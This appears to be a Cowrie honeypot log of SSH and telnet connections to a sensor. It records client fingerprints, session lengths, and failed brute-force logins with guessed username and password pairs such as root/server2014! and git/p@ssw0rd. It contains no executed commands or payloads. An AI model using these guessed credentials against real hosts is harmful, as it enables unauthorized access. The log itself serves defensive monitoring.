{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":52860,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7cfab116c21","protocol":"ssh","message":"New connection: 123.58.213.128:52860 (10.17.0.5:22) [session: e7cfab116c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:35.774016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:35.781870Z","src_ip":"123.58.213.128","session":"e7cfab116c21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:35.994202Z","src_ip":"123.58.213.128","session":"e7cfab116c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"123","message":"login attempt [user01/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:36.847406Z","src_ip":"123.58.213.128","session":"e7cfab116c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":56422,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeeb53ed9589","protocol":"ssh","message":"New connection: 152.67.46.203:56422 (10.17.0.5:22) [session: eeeb53ed9589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:37.924067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:37.927839Z","src_ip":"152.67.46.203","session":"eeeb53ed9589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:38.040539Z","src_ip":"152.67.46.203","session":"eeeb53ed9589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:38.074308Z","src_ip":"123.58.213.128","session":"e7cfab116c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123,./","message":"login attempt [root/abc123,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:38.523797Z","src_ip":"152.67.46.203","session":"eeeb53ed9589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:39.639132Z","src_ip":"152.67.46.203","session":"eeeb53ed9589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:39.872130Z","src_ip":"8.210.75.243","session":"dd4281fdeeb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.69590163230896,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:46.158335Z","src_ip":"170.64.224.25","session":"3a30feddf7c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":51646,"dst_ip":"10.17.0.5","dst_port":22,"session":"8939c78881ee","protocol":"ssh","message":"New connection: 81.192.46.32:51646 (10.17.0.5:22) [session: 8939c78881ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:48.798596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:48.802891Z","src_ip":"81.192.46.32","session":"8939c78881ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:48.921152Z","src_ip":"81.192.46.32","session":"8939c78881ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2014!","message":"login attempt [root/server2014!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:49.429103Z","src_ip":"81.192.46.32","session":"8939c78881ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:50.566259Z","src_ip":"81.192.46.32","session":"8939c78881ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":15978,"dst_ip":"159.203.135.109","dst_port":23,"session":"031f6aba97f6","protocol":"telnet","message":"New connection: 34.156.255.59:15978 (159.203.135.109:23) [session: 031f6aba97f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:51.831459Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:51.836077Z","src_ip":"34.156.255.59","session":"031f6aba97f6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:51.842117Z","src_ip":"34.156.255.59","session":"031f6aba97f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09253954887390137,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:51.923889Z","src_ip":"34.156.255.59","session":"031f6aba97f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":15980,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac47f5a2d487","protocol":"telnet","message":"New connection: 34.156.255.59:15980 (159.203.135.109:23) [session: ac47f5a2d487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:51.994688Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":15996,"dst_ip":"159.203.135.109","dst_port":23,"session":"1595f84f26c6","protocol":"telnet","message":"New connection: 34.156.255.59:15996 (159.203.135.109:23) [session: 1595f84f26c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:52.147134Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16012,"dst_ip":"159.203.135.109","dst_port":23,"session":"3514d9d6e7d4","protocol":"telnet","message":"New connection: 34.156.255.59:16012 (159.203.135.109:23) [session: 3514d9d6e7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:52.299310Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16018,"dst_ip":"159.203.135.109","dst_port":23,"session":"14f5132756b9","protocol":"telnet","message":"New connection: 34.156.255.59:16018 (159.203.135.109:23) [session: 14f5132756b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:52.452243Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16032,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a649b99b38b","protocol":"telnet","message":"New connection: 34.156.255.59:16032 (159.203.135.109:23) [session: 6a649b99b38b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:52.608973Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16042,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3b5829e8b27","protocol":"telnet","message":"New connection: 34.156.255.59:16042 (159.203.135.109:23) [session: b3b5829e8b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:52.762959Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16044,"dst_ip":"159.203.135.109","dst_port":23,"session":"d68d3c3159f1","protocol":"telnet","message":"New connection: 34.156.255.59:16044 (159.203.135.109:23) [session: d68d3c3159f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:52.917073Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16046,"dst_ip":"159.203.135.109","dst_port":23,"session":"5764fa0ac8d6","protocol":"telnet","message":"New connection: 34.156.255.59:16046 (159.203.135.109:23) [session: 5764fa0ac8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.071249Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16052,"dst_ip":"159.203.135.109","dst_port":23,"session":"853af9ba195e","protocol":"telnet","message":"New connection: 34.156.255.59:16052 (159.203.135.109:23) [session: 853af9ba195e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.227077Z"}
{"eventid":"cowrie.session.closed","duration":20.671088695526123,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.346382Z","src_ip":"34.156.255.59","session":"f192b86e6b2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.28269171714782715,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.353816Z","src_ip":"34.156.255.59","session":"5764fa0ac8d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.44145703315734863,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.358429Z","src_ip":"34.156.255.59","session":"d68d3c3159f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.7522804737091064,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.361110Z","src_ip":"34.156.255.59","session":"6a649b99b38b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.6009013652801514,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.363741Z","src_ip":"34.156.255.59","session":"b3b5829e8b27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.9141812324523926,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.366294Z","src_ip":"34.156.255.59","session":"14f5132756b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.0697007179260254,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.368915Z","src_ip":"34.156.255.59","session":"3514d9d6e7d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.2254488468170166,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.372439Z","src_ip":"34.156.255.59","session":"1595f84f26c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.380298376083374,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.374835Z","src_ip":"34.156.255.59","session":"ac47f5a2d487","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16068,"dst_ip":"159.203.135.109","dst_port":23,"session":"b402bd215067","protocol":"telnet","message":"New connection: 34.156.255.59:16068 (159.203.135.109:23) [session: b402bd215067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.457033Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16080,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e8ef59e1d3a","protocol":"telnet","message":"New connection: 34.156.255.59:16080 (159.203.135.109:23) [session: 7e8ef59e1d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.611710Z"}
{"eventid":"cowrie.session.closed","duration":0.00417637825012207,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.615791Z","src_ip":"34.156.255.59","session":"7e8ef59e1d3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16084,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e5ebfd2d085","protocol":"telnet","message":"New connection: 34.156.255.59:16084 (159.203.135.109:23) [session: 0e5ebfd2d085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.766432Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16086,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e3f495e1afe","protocol":"telnet","message":"New connection: 34.156.255.59:16086 (159.203.135.109:23) [session: 4e3f495e1afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:53.920899Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16090,"dst_ip":"159.203.135.109","dst_port":23,"session":"d06fe62c1ca1","protocol":"telnet","message":"New connection: 34.156.255.59:16090 (159.203.135.109:23) [session: d06fe62c1ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:54.072820Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16096,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4bb3ee0e797","protocol":"telnet","message":"New connection: 34.156.255.59:16096 (159.203.135.109:23) [session: a4bb3ee0e797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:54.227163Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16106,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8674cb103a8","protocol":"telnet","message":"New connection: 34.156.255.59:16106 (159.203.135.109:23) [session: e8674cb103a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:54.382424Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16118,"dst_ip":"159.203.135.109","dst_port":23,"session":"73798458dfd0","protocol":"telnet","message":"New connection: 34.156.255.59:16118 (159.203.135.109:23) [session: 73798458dfd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:54.537933Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16134,"dst_ip":"159.203.135.109","dst_port":23,"session":"d61c14e6d3b7","protocol":"telnet","message":"New connection: 34.156.255.59:16134 (159.203.135.109:23) [session: d61c14e6d3b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:54.693600Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16142,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a9636a0eb16","protocol":"telnet","message":"New connection: 34.156.255.59:16142 (159.203.135.109:23) [session: 5a9636a0eb16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:54.849364Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":54458,"dst_ip":"10.17.0.5","dst_port":22,"session":"2226d601d1ec","protocol":"ssh","message":"New connection: 91.92.40.4:54458 (10.17.0.5:22) [session: 2226d601d1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:54.932405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:54.936325Z","src_ip":"91.92.40.4","session":"2226d601d1ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16158,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee9ea748964d","protocol":"telnet","message":"New connection: 34.156.255.59:16158 (159.203.135.109:23) [session: ee9ea748964d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:55.007830Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:55.012415Z","src_ip":"34.156.255.59","session":"ee9ea748964d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:55.018736Z","src_ip":"91.92.40.4","session":"2226d601d1ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16162,"dst_ip":"159.203.135.109","dst_port":23,"session":"d155648f015b","protocol":"telnet","message":"New connection: 34.156.255.59:16162 (159.203.135.109:23) [session: d155648f015b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:55.164477Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"p@ssw0rd","message":"login attempt [git/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:55.266973Z","src_ip":"91.92.40.4","session":"2226d601d1ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16168,"dst_ip":"159.203.135.109","dst_port":23,"session":"176f5454f41c","protocol":"telnet","message":"New connection: 34.156.255.59:16168 (159.203.135.109:23) [session: 176f5454f41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:55.318734Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16176,"dst_ip":"159.203.135.109","dst_port":23,"session":"62cc78d6bbd7","protocol":"telnet","message":"New connection: 34.156.255.59:16176 (159.203.135.109:23) [session: 62cc78d6bbd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:55.473266Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16180,"dst_ip":"159.203.135.109","dst_port":23,"session":"61a5b80164de","protocol":"telnet","message":"New connection: 34.156.255.59:16180 (159.203.135.109:23) [session: 61a5b80164de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:55.629390Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":16182,"dst_ip":"159.203.135.109","dst_port":23,"session":"11d28a051a99","protocol":"telnet","message":"New connection: 34.156.255.59:16182 (159.203.135.109:23) [session: 11d28a051a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:55.782483Z"}
